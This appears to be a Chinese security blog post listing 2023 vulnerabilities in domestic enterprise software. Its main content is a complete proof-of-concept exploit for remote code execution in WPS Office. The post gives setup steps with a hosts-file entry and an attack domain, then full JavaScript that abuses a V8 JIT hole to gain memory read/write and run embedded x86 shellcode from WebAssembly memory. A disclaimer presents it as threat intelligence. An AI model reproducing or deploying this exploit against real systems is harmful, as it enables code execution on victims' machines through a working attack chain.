奇奇怪怪

安全小技巧

新的一天开始了

剪刀石头布,哈,我又赢了

2023

08-20

永远新的开始啊

2023 HVV 0day / Nday / POC / EXP 一键鈤卫星系列之 WPS 代码执行-威胁情报

漏洞情报列表

  • 安**御运维审计与风险控制系统堡垒机任意用户注册
  • 致*oa 任意文件上传
  • 致*oa rce
  • 用*移动管理系统 uploadApk.d
  • 用*时空KSOA PayBill SQL注入漏洞
  • 网* SecSSL 3600安全接入网关系统 任意密码修改漏洞
  • 网* SecGate 3600 防火墙 obj_app_upfile接口存在任意文件上传漏洞
  • 通*oaCVE-2023-4166
  • 通*oa_sql注入
  • 天*网关前台SQL注入
  • 深*服应用交付系统命令执行漏洞
  • 深*服报表
  • 绿*sas安全审计系统任意文件读取漏洞
  • 绿* SAS堡垒机 local_user.php 任意用户登录漏洞
  • 绿* SAS堡垒机 Exec 远程命令执行漏洞
  • 蓝*-OA-RCE
  • 金*OA C6-GetSqlData.aspx SQL注入漏洞 POC
  • 汉*SRM tomcat.jsp 登录绕过漏洞
  • 海**视前台上传
  • 广*达oa 后台文件上传漏洞
  • 绿* NF 下一代防火墙 任意文件上传漏洞
  • HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
  • HiKVISION 综合安防管理平台 env 信息泄漏漏洞
  • 禅* 16.5 router.class.php SQL注入漏洞
  • 网* SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞
  • 金*OA 未授权
  • 宏*OA文件上传
  • 用*畅捷通 T注入
  • 用*时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入
  • 用*时空 KSOATaskRequestServlet sql注入漏洞
  • 宏* HCM codesettree SQL 注入漏洞
  • 泛* ShowDocsImagesql注入漏洞
  • 30 新天终端安全管理系统信息泄露漏洞
  • 企业微*(私有化版本)敏感信息泄露漏洞
  • 华*动力oa SQL注入
  • 用*文件服务器认证绕过
  • 广联& Linkworks GetIMDictionarySQL 注入漏洞
  • 网* ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞
  • Panel loadfile 后台文件读取漏洞
  • 金* 微信管理平台 getsysteminfo 未授权访问漏洞
  • PigCMS action_flashUpload 任意文件上传漏洞
  • Coremail 邮件系统未授权访问获取管理员账密
  • Milesight VPN server.js 任意文件读取漏洞
  • 红* oa 注入
  • nginx配置错误导致的路径穿越风险
  • 用*GRP-U8存在信息泄露
  • 启**辰-4A 统一安全管控平台 getMater 信息泄漏
  • 广*达oa sql注入漏洞
  • 泛*oa代码执行
  • 泛*E-Office9文件上传漏洞
  • 泛* Weaver E-Office9 前台文件包含
  • 泛* E-Cology 某版本 SQL注入漏洞 POC
  • 大*智慧园区综合管理平台 文件上传漏洞
  • 大*智慧园区综合管理平台 searchJson SQL注入漏洞
  • 大*智慧园区任意密码读取攻击
  • 辰*景云终端安全管理系统 login SQL注入漏洞
  • x捷 xBR 路由器 任意文件上传漏洞
  • wps 代码执行
  • Openfire身份认证绕过漏洞
  • Nacos-Sync
  • Eramba任意代码执行漏洞
  • 绿* NF 下一代防火墙 任意文件上传漏洞
  • HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
  • HiKVISION 综合安防管理平台 env 信息泄漏漏洞
  • 禅* 16.5 router.class.php SQL注入漏洞
  • 网* SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞
  • 金*OA 未授权
  • 宏*OA文件上传
  • 用*畅捷通 T注入
  • 用*时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入
  • 用*时空 KSOATaskRequestServlet sql注入漏洞
  • 宏* HCM codesettree SQL 注入漏洞
  • 泛* ShowDocsImagesql注入漏洞
  • 36* 新天擎终端安全管理系统信息泄露漏洞
  • 企业微信(私有化版本)敏感信息泄露漏洞
  • 华天*力oa SQL注入
  • 用*文件服务器认证绕过
  • 广*达 Linkworks GetIMDictionarySQL 注入漏洞
  • 网* ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞
  • Panel loadfile 后台文件读取漏洞
  • 金* 微信管理平台 getsysteminfo 未授权访问漏洞
  • PigCMS action_flashUpload 任意文件上传漏洞
  • Coremail 邮件系统未授权访问获取管理员账密
  • Milesight VPN server.js 任意文件读取漏洞
  • 红* oa 注入
  • nginx配置错误导致的路径穿越风险
  • 用*GRP-U8存在信息泄露
  • 启**辰-4A 统一安全管控平台 getMater 信息泄漏

简介

wps影响范围为:

WPS Office 2023 个人版 < 11.1.0.15120

WPS Office 2019 企业版 < 11.8.2.12085

POC

在1.html当前路径下启动http server并监听80端口,修改hosts文件(测试写死的)

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系

代码块在底下。(需要原pdf加wechat)

Pyload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
<script>

if(typeof alert === "undefined"){

alert = console.log;

}

let f64 = new Float64Array(1);

let u32 = new Uint32Array(f64.buffer);

function d2u(v) {

f64[0] = v;

return u32;

}

function u2d(lo, hi) {

u32[0] = lo;

u32[1] = hi;

return f64[0];

}

function gc(){ // major

for (let i = 0; i < 0x10; i++) {

new Array(0x100000);

}

}

function foo(bug) {

function C(z) {

Error.prepareStackTrace = function(t, B) {

return B[z].getThis();

};

let p = Error().stack;

Error.prepareStackTrace = null;

return p;

}

function J() {}

var optim = false;

var opt = new Function(

'a', 'b', 'c',

'if(typeof a===\'number\'){if(a>2){for(var

i=0;i<100;i++);return;}b.d(a,b,1);return}' +

'g++;'.repeat(70));

var e = null;

J.prototype.d = new Function(

'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');

J.prototype.a = new Function('a', 'a.b(0,a)');

J.prototype.b = new Function(

'a', 'b',

'b.c();if(a){' +

'g++;'.repeat(70) + '}');

J.prototype.c = function() {

if (optim) {

var z = C(3);

var p = C(3);

z[0] = 0;

e = {M: z, C: p};

}

};

var a = new J();

// jit optim

if (bug) {

for (var V = 0; 1E4 > V; V++) {

opt(0 == V % 4 ? 1 : 4, a, 1);

}

}

optim = true;

opt(1, a, 1);

return e;

}

e1 = foo(false);

e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];

let map = new Map();

map.set('asd', 8);

map.set(hole, 0x8);

map.delete(hole);

map.delete(hole);

map.delete("asd");

map.set(0x20, "aaaa");

let arr3 = new Array(0);

let arr4 = new Array(0);

let arr5 = new Array(1);

let oob_array = [];

oob_array.push(1.1);

map.set("1", -1);

let obj_array = {

m: 1337, target: gc

};

let ab = new ArrayBuffer(1337);

let object_idx = undefined;

let object_idx_flag = undefined;

let max_size = 0x1000;

for (let i = 0; i < max_size; i++) {

if (d2u(oob_array[i])[0] === 0xa72) {

object_idx = i;

object_idx_flag = 1;

break;

}if (d2u(oob_array[i])[1] === 0xa72) {

object_idx = i + 1;

object_idx_flag = 0;

break;

}

}

function addrof(obj_para) {

obj_array.target = obj_para;

let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;

obj_array.target = gc;

return addr;

}

function fakeobj(addr) {

let r8 = d2u(oob_array[object_idx]);

if (object_idx_flag === 0) {

oob_array[object_idx] = u2d(addr, r8[1]);

}else {

oob_array[object_idx] = u2d(r8[0], addr);

}

return obj_array.target;

}

let bk_idx = undefined;

let bk_idx_flag = undefined;

for (let i = 0; i < max_size; i++) {

if (d2u(oob_array[i])[0] === 1337) {

bk_idx = i;

bk_idx_flag = 1;

break;

}if (d2u(oob_array[i])[1] === 1337) {

bk_idx = i + 1;

bk_idx_flag = 0;

break;

}

}

let dv = new DataView(ab);

function get_32(addr) {

let r8 = d2u(oob_array[bk_idx]);

if (bk_idx_flag === 0) {

oob_array[bk_idx] = u2d(addr, r8[1]);

} else {

oob_array[bk_idx] = u2d(r8[0], addr);

}

let val = dv.getUint32(0, true);

oob_array[bk_idx] = u2d(r8[0], r8[1]);

return val;

}

function set_32(addr, val) {

let r8 = d2u(oob_array[bk_idx]);

if (bk_idx_flag === 0) {

oob_array[bk_idx] = u2d(addr, r8[1]);

} else {

oob_array[bk_idx] = u2d(r8[0], addr);

}

dv.setUint32(0, val, true);

oob_array[bk_idx] = u2d(r8[0], r8[1]);

}

function write8(addr, val) {

let r8 = d2u(oob_array[bk_idx]);

if (bk_idx_flag === 0) {

oob_array[bk_idx] = u2d(addr, r8[1]);

} else {

oob_array[bk_idx] = u2d(r8[0], addr);

}

dv.setUint8(0, val);

}

let fake_length = get_32(addrof(oob_array)+12);

set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new

Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,

128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,

128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0

,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

let wasm_mod = new WebAssembly.Module(wasm_code);

let wasm_instance = new WebAssembly.Instance(wasm_mod);

let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;

let rwx_mem = get_32(target_addr);

//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,

0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,

0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,

0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,

0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,

0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,

0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,

0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,

0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,

0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,

0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,

0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,

0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,

0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,

0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,

0x00]);

for(let i=0;i<shellcode.length;i++){

write8(rwx_mem+i,shellcode[i]);

}

f();

</script>

需要将在1.html当前路径下启动http server并监听80端口,修改hosts文件(测试写死的)

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn即可,cloudwps.cn和wps.cn没有任何关系。正常攻击,也可以使用clientweb.docer.wps.cn.hellowps.cn.

说明

资料搜集来源于互联网,仅做技术分享与hvv威胁情报预警,切勿用于违法行为。

每日更新漏洞情报 一键三连加关注

微信公众号 搜索人遁安全

Untitled

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子